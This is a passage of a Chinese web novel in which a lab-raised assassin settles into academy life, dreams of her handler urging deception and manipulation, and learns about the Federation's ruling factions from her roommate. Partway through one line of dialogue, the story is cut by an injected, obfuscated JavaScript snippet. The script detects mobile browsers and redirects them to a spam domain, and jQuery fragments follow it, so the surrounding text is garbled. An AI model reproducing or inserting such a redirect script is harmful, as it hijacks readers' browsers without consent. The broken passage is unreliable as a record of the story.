“我该过的都过了。”
廖轻青等矢歌进门后伸手把门合上。
矢歌刚进门就脚一蹬,直接把自己摔在了沙发上,高纤一个转身冷冷躲开,再回头,只见他像具尸体般缓缓陷进棉絮。
“嗯……让他这么躺会儿吧,过两天我去训练赛陪他练练。”
高纤头疼地说。
她视线没从游戏上移开,嘴上又问廖轻青:“你成绩怎么样?看起来没受什么挫啊?”
“你希望我进矢歌他们那组,我按他们的要求完成了测试,被收了。”
这话说的很无聊,廖轻青没多想,像汇报工作。
她正觉得浮京空气太干燥了,饮食方面汤里又太喜欢多加盐,她的嘴总是干涩,先走到饮水机去给自己盛了一杯热白开。
“哟,宋枳一事情还挺多的我印象里,看来你是成绩很不错?”
高纤饶有兴趣地追问。
“嗯。”
廖轻青点点头,在沙发上坐下来,旁观高纤投影在屏上的游戏。
高纤问了半天,没收到什么有效反馈,遗憾发现自己的第二位室友显然也是一位与矢歌不相上下的人机,一时噎住了,遂专心打游戏。
傍晚休闲接近结束,太阳落山。几个人各干各的,高纤说自己要把机械清理完的衣服收起来,跑到去阳台了。
不到十秒钟,廖轻青就听到阳台上传来高纤愤怒的叫声:“矢。歌。不要再把你易感期的衣服塞进来了!没人要闻你那橘子!”
廖轻青瞥了一眼沙发,矢歌已经老鼠一样溜走了。
晚上是高纤的夜宵香味把两个人机叫出来的,她和矢歌似乎都有不错的厨艺,会偶尔自己动手。
三人坐在沙发上吃东西,又看了一部电影,就相继回房间睡觉了。
一天过的算平静,也能算鸡飞狗跳。
实验体偶尔也会疑惑,生活是完全陌生的,任何东西都令她好奇、令她兴奋,似乎这样的她同样有感知、有情绪。
一种淡淡的幸福笼罩在她眼前,却似乎是云雾,或是泡影,只需伸手,一触即破。
也许是源于身体的警钟,也许是某种来自未来的预告函,或者干脆是此人几天晚上没睡够的报应,当天晚上她梦到了那个熟悉的女人与她雪白的长发。
一层一层如同梦茧,将她束缚其中,温柔平和,却无法挣脱。她尝试着挣开双臂,只觉得疲惫又无用,于是干脆闭上眼睛任由茧丝越裹越厚重。
“不要情绪用事,x-0238。愤怒和悲痛并不会带你找到出路,去用你的柔软蒙蔽他人,去用你的沉稳让他人信服。去欺骗,去操纵。”
她听到那女人含笑的声音,是几年前的事情,她梦里出现过千万次的言语。
她睁开眼睛,是早晨。
照理说,这算不上什么噩梦,然而她的身体却仍然浑身冷汗,颤抖不止,如同又一次死中复生。
“新朋友!温馨提示,十几分钟后上课!爬不起来准备腿被老师打断吧。”
高纤的声音匆匆响起,似乎嘴里咬着什么东西,把实验体本就乱七八糟的脑袋搅得一团浆糊。
但是没吃早饭的一团浆糊也得去上课,谁让她自己做梦差点迟到呢。
廖轻青跟着Omega2班训练,带着头晕眼花的debuff,体能体术训练是最让人烦躁的,本来新身体就不好用,又短暂断粮。
严鹭似乎从昨天就记得她了,训练时多问了她两嘴:“早餐和睡眠都很重要,你又不是Alpha,当自己精力无限吗?就算Alpha精力也不是无限的啊。”
实验体当然也知道,但是实验体不想听。
枪械则是要她绞尽脑汁地表现得接近普通标准,她选枪和射击习惯都不太像新人了,带着一些三足机械养的杀手特有的习惯。
好在杀手和正规武装是完完全全两条路线,一些内情比较隐秘。
而严鹭并不是一位多细心的阴谋论爱好者,纠察队似乎和本家的研究所有点脱节,她只是执着于“纠正”廖轻青一些不好的手癖。
实战训练对廖轻青而言则是完全跨科目了,涉及一大堆异种理论知识。
本来她只需要最高效地找到人的喉管、心脏、精神核心然后搞掉就完事了,现在几百种异种都有完全不同的弱点、不同的长短板,严鹭口头提到的她一律一无所知。
乡下实验体勇闯第一区。
她开始觉得自己得去一趟图书馆了。
而紧接而来的几天,理论知识课更是加深了这个想法。
联邦历史勉强能当童话听听,不属于需要基础的那一类。教授讲的很细,大概是整个城市从黑母河沿岸开始发家的前言,廖轻青基本能过目不忘。
医疗理论内容复杂,棘手的主要有:启能变异后五花八门的植物,以及异种尸体和异种尸体上开的小花小草。
浮京的Omega们似乎都有过早期相关知识储备,天然比她知道的多得多。她只能寄希望于翻阅异种相关书籍,到时候能同步多知道一点药物相关。
而最令人心碎的是政治理论,少爷小姐们学的政治理论不是空话,甚至有议院退休人员专门过来演讲。
实验体自认智商没有问题,否则不会是研究所里活到现在的那个。但是“三方”核心人员她现在总共就认识个位数,具体形势全依靠一张八年前的名单硬推,根本跟不上议员的脑子。
更大的问题是,这东西在图书馆翻不到!
还好廖轻青身边有一本知无不答、且不会时时试探她的活百科。
“你不知道?”
高纤躺在沙发上看书,那本《联邦历史1200年间》她早三天就看完了,现在在翻《文学发展概论》。
听到问题,她惊讶地抬起眼睛看向廖轻青。
紧接着,她嗤笑着端高下巴,凝视她:“好吧我的小本家,廖家一点事情也不告诉你。既然你有这个缘分到我这里,那我告诉你。”
“现在的三方最重要的几个人主要有多联生物的领头人蒙格利莎-拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356777|183647||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,三足机械的高伺纪、高夙——也就是我爸爸和妈妈。”
好拽的语气。廖轻青在心里感慨。
“蒙格利莎是底层出身,时代性的人物,图书馆里现在就有她的早期经历个人传记。多联生物在被提名‘三方’之前叫‘猎生’,甚至起源于第二环,发家在黑母河,被她一手推入三方,也因此他们内部个人崇拜很重。”
“我佩服她,但他们和我们三足机械关系很差,要拎清楚。”
讲完这段,高纤停了很久,似乎在犹豫地组织语言。
“独芯能源那边事情复杂一点,原本按道理来说何允诚才五十岁不到,还能再活很久。”
“但是新一代出了两个恶鬼,一个是他亲弟弟,他爹在外面和‘夜莺’的私生子,近五年内几乎分走了他一半的权柄。”
何允诚她知道,在旧名单上,然而通过齿鼠她知道……
“但是何允诚现在似乎已经……”
高纤接上话头:“已经死了,就在几周前。所以现在是他儿子何子诫在和私生子分权。”
“之前晚上看电影的时候你应该也听到了,何子诫这人装的很好,好的几乎不像alpha,台面上alpha会有的傲慢易怒他全没有,但我个人认为他里子冷血得恐怖。”
“具体内情我也没有打听到,实际上我家里人也不会让Omega多了解这些事,但是说何允诚的死跟他毫无关系我是不信的。”
说完,她严肃地补上一句:
“跟alpha沾上关系会不幸的。”
廖轻青不得不感慨,高纤在识人方面真不算自吹自擂,她的直觉的确值得相信。
然而在听完最后一句后,廖轻青的思路也忍不住从联邦裹脚布一样扯不干净的纠葛里走出来。
她笑了笑:“你知道矢歌那组两个全是alpha吗?”
高纤的注意力重新回到书上,淡淡回复她:“合作嘛,没什么的。他们对矢歌好就行,我偶尔看他们也挺顺眼。”
偶尔顺眼,所以是长期不顺眼了。
“我们的带班老师也是Alpha。”廖轻青又去逗她。
“严鹭我知道,她嘴上说话乱七八糟的,为人还比较靠谱,心眼没那么多。”
在廖轻青的评估里,严鹭并没有那么单纯,应该只是在面对青年人时带了一层傲慢的滤镜,觉得什么都是小事情。
这句话更多是让她感觉到高纤的心境。
衣食无忧如高纤,似乎也活在一个令她很疲惫的环境之中。她尚才成年不久,却已经学会在成年人的语言夹缝中生存,用直觉去找寻值得她暂且一靠的地方。
廖轻青探头去看高纤书上的字,科普性数目的文字都很小,密密麻麻长满一整页。
高纤想法转的很快,脑子里已经撇开了这些有的没的,张口问她:
“来这也有一两周了,你有没有想出去玩?这附近是浮京最热闹的商业群之一。”
听到这句话,自闭少年矢歌也从厨房探出脑袋。